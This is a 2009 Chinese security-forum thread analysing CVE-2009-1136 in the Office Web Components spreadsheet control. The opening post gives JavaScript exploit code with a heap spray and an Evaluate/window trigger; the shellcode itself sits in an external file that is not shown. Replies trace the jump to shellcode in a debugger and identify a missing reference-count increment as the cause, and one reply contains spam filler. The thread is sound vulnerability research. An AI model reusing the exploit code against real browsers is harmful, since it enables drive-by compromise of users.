首页
社区
课程
招聘
[求助]Microsoft Office Web Components. CVE-2009-1136
发表于: 2009-7-15 22:58 8407

[求助]Microsoft Office Web Components. CVE-2009-1136

2009-7-15 22:58
8407
最近在分析CVE-2009-1136这个漏洞,看资料是OWC10.DLL这个组件的问题
<script src="a.js"></script>
<script language="JavaScript">
var c=s+u;  // s+u=完整的shellcode
var array = new Array();
var ls = 0x81000-(c.length*2);
var b = pingfan("%u0b0c%u0b0C");
while(b.length<ls/2){b+=b;}
var lh = b.substring(0,ls/2); //一堆堆的%u0b0c%u0b0c%u0b0c..
delete b;
for(i=0;i<0x99*2;i++) {array[i] = lh + lh + c;} //生成shellcode
CollectGarbage();

var obj = new ActiveXObject("OWC10.Spreadsheet"); //创建activex对象
e=new Array();
e.push(1);
e.push(2);
e.push(0);
e.push(window);
for(i=0;i<e.length;i++)
{
  for(j=0;j<10;j++)
  {
    try{obj.Evaluate(e[i]);}
    catch(e){}
  }
}
window.status=e[3] +'';
for(j=0;j<10;j++)
{try
  {obj.msDataSourceObject(e[3]);} 
catch(e) {}
} //应该在这儿了
</script>
请问在使用IDA怎么才能在OWC10.DLL找到上面的漏洞代码中的msDataSourceObject函数呢?? 多谢啦

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (23)
雪    币: 339
活跃值: (29)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
2
这个漏洞还原容易,但由于其中涉及的数据结构不熟悉,很繁冗,究其导致错误根本原因异常困难。如果楼主搞清楚原因了,希望发来看雪与大家分享。帮顶
2009-7-16 20:24
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
3
呵呵,这个洞很简单,关键点:

      mov     XXX, esp
               movsd
             movsd
             movsd
                movsd
              push    XXXX
                XXXXXXX 34 XXXXX
2009-7-16 20:35
0
雪    币: 204
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
楼上大侠能具体描述一下么,究竟在什么地方溢出导致漏洞呢?我现在发现漏洞好像与obj.msDataSourceObject(e[3]);这条语句无关,将它去掉后仍可正常执行shellcode
2009-7-16 21:23
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
5
后面一句只是为了提高一下利用率~随便替换成什么也可~前面的40次循环也是蒙人的~
2009-7-16 21:31
0
雪    币: 339
活跃值: (29)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
6
MJ都开口了。哈哈,能否再指明一点,比如在哪个位置。小弟不才,不才
2009-7-16 21:45
0
雪    币: 846
活跃值: (221)
能力值: (RANK:570 )
在线值:
发帖
回帖
粉丝
7
调试过了,执行那几个函数的线程退出之后,竟然在另外一个线程中被激活...
而且那个MSHTML的结构,那个指针从一开始就在那里的,是静态数据.至少XP SP2的那个MSHTML是这样的

似乎是引发某种事件就能使那个指针申请到内存,并且将SHELLCODE转移进去.并且触发另外一个事件能让JSCRIPT执行那块内存的内容. 而OFFICE那控件最主要的作用就是激发那些事件

等MJ透露具体原理~~
2009-7-16 21:48
0
雪    币: 339
活跃值: (29)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
8
如果是同样的mshtml.dll,同样的加载基址的话,这个跳转的目标堆那就是是一致的。把一句指令的位置感觉像当做了一个函数虚表的地址。匪夷所思啊。
同期待MJ。
2009-7-16 21:59
0
雪    币: 846
活跃值: (221)
能力值: (RANK:570 )
在线值:
发帖
回帖
粉丝
9
溢出的部分是MSHTML初始化了一个结构,这个结构是静态数据,包括那个调用SHELLCODE指针,是本来就存在于那里的

打开其他网页的时候,也是那个硬编码,但是内存区域为空.
跑这个漏洞时,进入OWC10区域之前,那个静态指针就被申请到内存,并且填充了SHELLCODE了.

是几经周转,传到JSCRIPT里面,JSCRIPT根据虚表调用那个指针的.

如果你没分析出是从哪里跳到SHELLCODE的,打开DEP,用调试器一跑,直接找返回地址你就看到了
2009-7-16 22:19
0
雪    币: 204
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
从哪里跳到SHELLCODE的地方倒是能找到,但是OWC10.dll的什么地方有问题就不清楚了
2009-7-16 23:13
0
雪    币: 204
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
再问一下大家谁在OWC10.dll中找到Evaluate函数的地址了么?
2009-7-16 23:14
0
雪    币: 76
活跃值: (45)
能力值: ( LV11,RANK:180 )
在线值:
发帖
回帖
粉丝
12
首先我们修改   
var b = pingfan("%u0b0cଌ"); 到

var b = pingfan("쳌쳌");

修改这个语句的目的是 把 shellcode 的指令都改成 int3 指令
这样改成 int3 以后能保证shellcode 的被执行的第一条指令是  int3. 这样你就可以在
syserdebugger 里面使用  i3here on 命令当遇到 int3 指令的时候 弹出 syser debugger.

修改完这个 shellcode 以后我们可以用 ie 打开这个网页。如果shellcode 被正常执行的话。Syser debugger 会在执行第一条 shellcode 执行的时候弹出。

在 SyserDebugger 被激活的时候 EIP 是停在第一个被执行的 shellcode 的下一条执行。 因为我们把绝大多数的执行都变成了 int3 所以在 syserdebugger 弹出的时候你看到的都是 int3 指令。
在我的机器上 这个 EIP == 11cf6a4b   ;这个值可能是不同的在不同的时候。

正常情况下 只有几种情况跳转到 shellcode . 从指令上来说可能就几种情况。
1 Jmp xxxxxx
2 Jmp [xxxxx]
3 call xxxxx
4 call [xxxxx]
5 ret
6 Jcc xxxxxxx

这个时候我们可以看 stack 窗口。 在 ESP 所指的地址中保存了的内容为 75c62e79 (我的系统是 英文版本的 xp + sp2 。我们用 u 75c62e79 看反汇编代码。 发现这地址的上一条指令是  75c62e76   ff511c  call [ecx+1c]     ;
我们发现了最终跳转到 shellcode 的代码是在 75c62e76 这个call 执行之后的某个指令跳转到shellcode 的 .

同时我们发现当前的 ECX 寄存器是   11cf6a4a  , 前面我已经提到过 eip 是停在第一个 被执行的执行之后,就是 EIP == 11cf6a4b  ,我们可以看到 ecx 和 eip 正好是差一个字节。  恰好
int3 指令是 一个字节,这个时候我们可以猜测 跳转到第一个 shellcode 的指令可能是
jmp ecx , 可能有人会问,我们为什么不猜测是 call   指令呢。 如果是call 执行一定会把返回地址先压入到堆栈。 我们可以通过 stack 命令看一下函数调用栈。我们发现堆栈里面最后一个地址对应的汇编是 75c62e76  call [ecx+1c] 就是上面提到的指令。 同时我们发现  [ecx+1c] 里面的值不等于 11cf6a4a 所以我们可以断定 最后跳转到shellcode 的执行不是 call. 所以我们可以把断点下在 75c62e76 这个地址。 例如 bpmb 75c62e76 x .
我们可以先结束本次的设置硬件断点后重新启动 IE 进行调试。 在我的机器上 当 用 IE 去浏览包含 shellcode 的网页时这个断点 会在第14 次以后跳转到 shellcode 上执行。
我们可以再一次重新调试这个 shellcode , 在第14次的时候,我们要单步更进 call [ecx+1c] 这条指令。 在我的机器上 ecx 的值是 7d73c270    ,[ecx+1c] 里面的值是 715a138

>cv
7D51A138 8B442404                   MOV   EAX,[ESP+04]            
7D51A13C 50                               PUSH  EAX                     
7D51A13D F7401C80000000       TEST  [EAX+1C],00000080        
7D51A144 0F85ABA60800            JNZ   7D5A47F5                 
7D51A14A 83C00C                       ADD   EAX,+0C                  
7D51A14D 8B08                           MOV   ECX,[EAX]               
7D51A14F 894C2408                   MOV   [ESP+08],ECX            
7D51A153 8B4804                       MOV   ECX,[EAX+04]            
7D51A156 8B491C                       MOV   ECX,[ECX+1C]            
7D51A159 58                                POP   EAX                     
7D51A15A C7402007000000       MOV   [EAX+20],00000007        
7D51A161 FFE1                           JMP   ECX                     
7D51A163 90                   NOP        
在这里我们发现了正好有一个 jmp ecx . 正好和我们的猜测是吻合的。
我们可以把断点设置在  7D51A161 FFE1                           JMP   ECX  上面

然后我们就发现  跳转到 shellcode 的执行就是 7D51A161 FFE1                           JMP   ECX
2009-7-17 11:14
0
雪    币: 339
活跃值: (29)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
13
在等待owc10.dll加载后,75c62e76 断点 直接F9貌似2次就到了。
谢谢楼上,有详细的造成漏洞的缘故么?谢谢分享。
2009-7-17 12:03
0
雪    币: 380
活跃值: (101)
能力值: ( LV13,RANK:370 )
在线值:
发帖
回帖
粉丝
14
MS程序员最近总犯常人最容易犯的错误啊COM啊COM
2009-7-17 15:26
0
雪    币: 380
活跃值: (101)
能力值: ( LV13,RANK:370 )
在线值:
发帖
回帖
粉丝
15
其实就是赋值的时候没有加引用计数导致的。
2009-7-17 15:56
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
16
废话说了半天,结果是syser教程~漏洞一点都没涉及到,到执行这个INT3的时候早就不知道飞哪去了。另外调这个还用得着syser?
2009-7-17 16:02
0
雪    币: 56
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
ie7是不是不能正确跳转啊
2009-7-17 17:14
0
雪    币: 204
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
能不能说得再详细点啊
2009-7-17 17:31
0
雪    币: 380
活跃值: (101)
能力值: ( LV13,RANK:370 )
在线值:
发帖
回帖
粉丝
19
Evaluate函数本应该对传入的WINDOW对象的引用计数加一,但它没有加,导致每次 Evaluate执行完后oleaut32.dll将WINDOW对象的引用计数减一,JS调用循环几次后WINDOW的引用计数被减为<=0,这就出问题了,后面一引用WINDOW对象就崩了,顺着这个思路去跟一下吧。
2009-7-17 17:59
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
20
楼上分析的不错~ 所以那个对象传window或者别的什么都可以,后面只要引用触发一下就可以了~
2009-7-17 18:15
0
雪    币: 204
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
是不是引用计数为0后,window对像被系统收回到堆上,可是堆上已经有shellcode了,这样再引用window的属性就会引用到shellcode了,不知道这样的思路对不对?
2009-7-20 21:50
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
精华啊   不过我已经看过了 哈哈 还是顶下  *^__^*                       
   
     
      
   
   
  
     
      
------------------------------------------------------------
张韶涵湿巾机这种东西,存在于一切人的生活之中。假如一个人丧失了丰胸仪可能无法生存在这个世界上。
2009-7-21 02:27
0
雪    币: 310
活跃值: (111)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
23
如何查到Evaluate的地址?
2009-8-16 13:58
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
这个可以
http://bbs.pediy.com/showthread.php?t=88279
2009-8-16 19:14
0
游客
登录 | 注册 方可回帖
返回
//